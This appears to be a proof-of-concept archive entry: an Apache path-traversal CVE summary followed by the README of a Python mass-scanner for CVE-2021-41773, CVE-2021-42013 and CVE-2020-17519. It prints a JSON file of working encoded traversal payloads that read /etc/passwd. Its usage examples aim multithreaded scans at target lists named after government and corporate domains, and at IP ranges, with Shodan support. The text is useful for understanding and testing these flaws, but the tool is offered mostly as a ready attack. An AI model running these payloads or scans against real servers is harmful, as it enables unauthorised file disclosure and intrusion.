Associated Vulnerability
Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
Description
Tool check: CVE-2021-41773, CVE-2021-42013, CVE-2020-17519
Readme
# SimplesApachePathTraversal
<p align="center">
<a href="https://github.com/MrCl0wnLab/SimplesApachePathTraversal/">
<img src="assets/prints/banner.png" width="700" alt="Banner Simples Apache Path Traversal" />
</a>
</p>
<h1 align="center">
Simples Apache Path Traversal
</h1>
<p align="center">
It's a simple tool for test vulnerability Apache Path Traversal<br>
<a href="https://blog.mrcl0wn.com/2021/10/uma-simples-tool-para-apache-path.html">https://blog.mrcl0wn.com/2021/10/uma-simples-tool-para-apache-path.html</a>
<br/><br/>
<img alt="GPL License" src="https://img.shields.io/github/license/MrCl0wnLab/SimplesApachePathTraversal?color=blue">
<img alt="GitHub code size in bytes" src="https://img.shields.io/github/languages/code-size/MrCl0wnLab/SimplesApachePathTraversal">
<img alt="Python 3.8" src="https://img.shields.io/badge/python-3.8-yellow.svg">
<img alt="Supported_OS Linux orange" src="https://img.shields.io/badge/Supported_OS-Linux-orange.svg">
<img alt="Supported OS Mac" src="https://img.shields.io/badge/Supported_OS-Mac-orange.svg">
</p>
```properties
Autor: MrCl0wn
Blog: https://blog.mrcl0wn.com
GitHub: https://github.com/MrCl0wnLab
Twitter: https://twitter.com/MrCl0wnLab
Email: mrcl0wnlab\@\gmail.com
Gr33ts:
+ aCCESS Security Lab @exchangesec
- Megarushing, Ofjaaaah, 5Ub5010, Gh05tPT, Hunt3rPl4nk
```
### Path traversal (software bug)
A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).
## Disclaimer
```
This or previous program is for Educational purpose ONLY. Do not use it without permission.
The usual disclaimer applies, especially the fact that me (MrCl0wnLab) is not liable for any
damages caused by direct or indirect use of the information or functionality provided by these
programs. The author or any Internet provider bears NO responsibility for content or misuse
of these programs or any derivatives thereof. By using these programs you accept the fact
that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these
programs is not MrCl0wnLab's responsibility.
```
### This script checks for vulnerabilities
- [CVE-2021-41773 ](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773)
- [CVE-2021-42013](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013)
- [CVE-2020-17519](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013)
## Commands
```bash
python main.py --file gov.br.txt --thread 15
python main.py --file tesla.txt --ssl
python main.py --range 192.168.15.1,192.168.15.100 --thread 30
python main.py --file fbi.gov.txt --thread 15 --timeout 3
python main.py --file gov.ru.txt --debug
```
## Screenshots
## Flow to generate targets
## Help
```bash
python main.py --help
```
```properties
.,,
(=\/\
\=\/\
\=\/\
`=\/
\
simples [ APACHE ]
___ _ _ _____ _
/ _ \__ _| |_| |__ /__ \_ __ __ ___ _____ _ __ ___ __ _| |
/ /_)/ _` | __| '_ \ / /\/ '__/ _` \ \ / / _ \ '__/ __|/ _` | |
/ ___/ (_| | |_| | | | / / | | | (_| |\ V / __/ | \__ \ (_| | |
\/ \__,_|\__|_| |_| \/ |_| \__,_| \_/ \___|_| |___/\__,_|_|
By: MrCl0wn / https://blog.mrcl0wn.com
https://twitter.com/MrCl0wnLab
https://github.com/MrCl0wnLab
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>]
[--thread <20>] [--ssl] [--timeout <5>] [--debug]
[!] Check: CVE-2021-41773, CVE-2021-42013, CVE-2020-17519
[!] File exploits: /assets/exploits.json
[!] Output: output/vuln.txt
python main.py --file gov.br.txt --thread 15
python main.py --file tesla.txt --ssl
python main.py --range 192.168.15.1,192.168.15.100 --thread 30
python main.py --file fbi.gov.txt --thread 15 --timeout 3
python main.py --file gov.ru.txt --debug
optional arguments:
-h, --help show this help message and exit
--file <ips.txt> Input your target host lists
--range <ip-start>,<ip-end>
Set range IP Eg.: 192.168.15.1,192.168.15.100
--thread <20>, -t <20>
Eg. 20
--ssl Enable request with SSL
--timeout <5> Set connection timeout
--debug, -d Enable debug mode
```
## Tree
```properties
.
├── assets
│ ├── autor.json
│ ├── config.json
│ ├── exploits.json
│ └── prints
│ ├── banner.png
│ ├── print01.png
│ └── print02.png
├── LICENSE
├── main.py
├── modules
│ ├── banner_mrclw.py
│ ├── color_mrclw.py
│ ├── debug_mrclw.py
│ ├── file_mrclw.py
│ ├── __init__.py
│ ├── request_mrclw.py
│ ├── shodan_mrclw.py
│ └── thread_mrclw.py
├── output
└── README.md
```
## File exploit
> assets/exploits.json
```json
{
"CVE-2021-41773": "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
"CVE-2021-42013-0": "/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd",
"CVE-2021-42013-1": "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
"CVE-2021-42013-3": "/cgi-bin/.%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
"CVE-2021-42013-4":"/cgi-bin/%25%25%25%2e/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
"CVE-2020-17519-0":"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd",
"CVE-2020-17519-1":"/cgi-bin/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
}
```
### Ref.
- https://owasp.org/www-community/attacks/Path_Traversal
- https://appcheck-ng.com/apache-path-traversal-vulnerability-cve-2021-41773/
- https://www.exploit-db.com/exploits/50383
- https://www.exploit-db.com/exploits/50406
- https://www.exploit-db.com/exploits/49398
- https://owasp.org/www-community/attacks/Path_Traversal
File Snapshot
[4.0K] /data/pocs/760c787f991162683016cdc3ccdc5cf39900573a
├── [4.0K] assets
│ ├── [ 268] autor.json
│ ├── [ 437] config.json
│ ├── [ 885] exploits.json
│ └── [4.0K] prints
│ ├── [892K] banner.png
│ ├── [545K] print01.png
│ ├── [562K] print02.png
│ └── [167K] print03.jpg
├── [ 34K] LICENSE
├── [7.9K] main.py
├── [4.0K] modules
│ ├── [1.2K] banner_mrclw.py
│ ├── [ 686] color_mrclw.py
│ ├── [ 112] debug_mrclw.py
│ ├── [1.7K] file_mrclw.py
│ ├── [ 0] __init__.py
│ ├── [1.5K] request_mrclw.py
│ ├── [ 900] shodan_mrclw.py
│ └── [1.5K] thread_mrclw.py
└── [7.2K] README.md
3 directories, 18 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →